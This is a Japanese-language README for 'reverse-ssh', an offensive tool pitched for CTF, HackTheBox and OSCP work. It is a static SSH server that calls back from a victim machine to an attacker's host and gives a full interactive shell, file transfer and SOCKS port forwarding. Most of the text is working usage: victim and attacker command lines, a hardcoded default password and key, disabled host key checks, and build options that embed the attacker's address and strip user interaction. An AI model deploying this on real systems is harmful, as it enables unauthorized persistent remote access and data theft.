
CTFなど向けのリバースシェル機能を備えた静的リンクSSHサーバ
静的にリンクされたSSHサーバーで、リバース接続機能を備え、シンプルかつ強力なリモートアクセスを実現します。HackTheBoxのチャレンジやCTFなどで最も役立ちます。
OSCP試験の準備中に広く開発・使用されました。

netcat でリバースシェルを取得するのは確かにクールですが、筋肉記憶によるキーボード割り込みでうっかりリバースシェルを閉じてしまった経験がない人はいないでしょう? そのようなシェルは脆弱であるだけでなく、完全な対話型アクセス、TAB補完、履歴などの便利な機能が欠けていることもよくあります。
代わりに、軽量なsshサーバー(<1.5MB)reverse-ssh をターゲットにデプロイし、ファイル転送やポートフォワーディングのような追加機能を活用することができます!
ReverseSSHは、ターゲットへの初期足がかりから完全なローカル権限昇格までのギャップを埋めようとしています。 主な強みは次のとおりです:
Windowsに関する注意事項
Windows上の完全な対話型PowerShellは、Windows擬似コンソール ConPTY に依存しているため、少なくとも Win10 Build 17763 が必要です。
それより前のバージョンでは、対話型のリバースシェルを取得できますが、矢印キーやキーボード割り込みなどの仮想端末コードを処理できません。
そのような場合は、cmd コマンドを追加する必要があります。例:ssh <オプション> <IP> cmd。
古いWindowsバージョンで完全な対話型シェルアクセスを実現するには、ssh-shellhost.exe OpenSSH for Windows を reverse-ssh と同じディレクトリに配置し、フラグ -s ssh-shellhost.exe を使用します。
これにより、すべてのトラフィックが ssh-shellhost.exe を経由してパイプされ、擬似端末(pty)をエミュレートし、すべての仮想端末コードをWindowsが理解できるように変換します。
提供されているバイナリを単に実行するには、golangのシステム要件 のみが必要です。
簡単に言うと:
コンパイルにはさらに以下が必要です:
upx(例:apt install upx-ucl)被害者側で reverse-ssh が実行されると、任意のユーザー名とデフォルトパスワード letmeinbrudipls、SSH鍵、またはコンパイル時に指定したもので接続できます。
結局のところ、これは単なるSSHサーバーです:
# 完全な対話型シェルアクセス
$ ssh -p <RPORT> <RHOST>
# 単純なコマンド実行
$ ssh -p <RPORT> <RHOST> whoami
# 本格的なファイル転送
$ sftp -P <RPORT> <RHOST>
# 動的ポートフォワーディング(ポート9050のSOCKSプロキシ)
$ ssh -p <RPORT> -D 9050 <RHOST>
# 被害者
victim$ ./reverse-ssh
# 攻撃者(デフォルトパスワード: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
注意:ReverseSSHをLHOSTとLPORTのパラメータ付きでコンパイルすると、ターゲットでの実行が容易になります。以下を参照
# 攻撃者側(着信要求を受け取る準備;
# すでにsshデーモンが実行中(例:OpenSSH)の場合は省略可能)
# 注意:LPORT 8888は着信接続と競合します。その場合はvictim側でフラグ `-b 8889` などを使用してください
attacker$ ./reverse-ssh -v -l -p <LPORT>
# 被害者側
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# またはパスワード認証でユーザー'kali'に対してポート22でsshデーモンが待機している場合
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# 攻撃者側(デフォルトパスワード: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# または以下のssh設定を使用
attacker$ ssh target
結局のところこれはプレーンなsshなので、被害者マシンからのリモートポートフォワーディング呼び出しを、ポート22で待機しているopensshデーモンで受け取ることもできます。
<USER>@ を先頭に付けて、パスワードを求められたら入力してください。
現在はダイヤルホームはパスワードのみ対応しています(プライベートキーを埋め込む気になれなかったため…)。
さらに便利にするために、以下を ~/.ssh/config に追加し、ssh秘密鍵 を ~/.ssh/ にコピーして、その後 ssh target または sftp target と入力するだけです:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
使用方法: reverse-ssh [オプション] [[<ユーザー>@]<ターゲット>]
例:
バインド:
reverse-ssh -l
reverse-ssh -v -l -p 4444
リバース:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
オプション:
-l, reverseSSHをリスニングモードで起動します(リバースシナリオを上書き)
-p, reverseSSHが着信ssh接続を待機するポート(バインドシナリオ)
またはssh接続を確立しようとするポート(リバースシナリオ)(デフォルト: 31337)
-b, リバースシナリオのみ:ダイヤルホーム後にこのポートにバインドします(デフォルト: 8888)
-s, 着信接続に対して起動するシェル。例:/bin/bash; (デフォルト: /bin/bash)
Windowsの場合、'ssh-shellhost.exe'へのパスを指定するためにのみ使用できます。
(例:同じディレクトリにある場合は '-s ssh-shellhost.exe')
-N, すべての着信シェル/実行/サブシステムおよびローカルポートフォワーディング要求を拒否します
(リモートポートフォワーディングのみが必要な場合、例えばリバース接続を受け取るとき)
-v, ログ出力を表示します
<ターゲット>
リバースシナリオを有効にするオプションのターゲット。ダイヤルホーム時に'reverse'以外のユーザーとして認証するには、
<ユーザー>@ を先頭に付けることができます。
認証情報:
以下のいずれかを持つ任意のユーザーからのすべての着信接続を受け入れます:
* パスワード "letmeinbrudipls"
* 公開鍵 "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
上記の要件(一致するバージョンのgolangなど)をインストールし、正しく設定してください。
その後、make でコンパイルすると、bin ディレクトリに静的バイナリが作成されます。
make compressed を使用すると、upxでバイナリを圧縮してサイズをさらに小さくできます。
$ make
# または upx で圧縮されたバイナリも作成する場合
$ make compressed
コンパイル時に以下の環境変数を指定して、ReverseSSHをユースケースに合わせてカスタマイズすることもできます:
RS_SHELL デフォルトシェルを変更RS_PASS 個別のパスワードを指定RS_PUB 個別の認証鍵を指定LUSER SSH接続試行のデフォルトユーザー名を変更LHOST デフォルトのLHOST値を指定し、ReverseSSHをデフォルトでリバースシナリオに設定LPORT デフォルトのリスニングポートまたはSSH接続試行の送信先ポートを変更BPORT 攻撃者マシン上のリバース接続のデフォルトリスニングポートを変更;0にすると任意の空きポートを使用NOCLI 任意の値を設定すると、すべてのユーザー対話を排除(バイナリは指定されたすべてのフラグや引数を無視)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
デフォルトでは、reverse-ssh は現在のOSとアーキテクチャ、およびlinuxとwindowsのx86/x64向けにコンパイルされます。
他のアーキテクチャやOS向けにコンパイルするには、ターゲットに合った環境変数を指定します。例:linux/arm64 の場合:
$ GOARCH=arm64 GOOS=linux make compressed
利用可能なターゲットの一覧(OS/arch 形式)は go tool dist list で取得できます。
驚くべき機能が欠けている?何かが意図した通りに動作しない?
Issueを作成するか、プルリクエストを送信してください!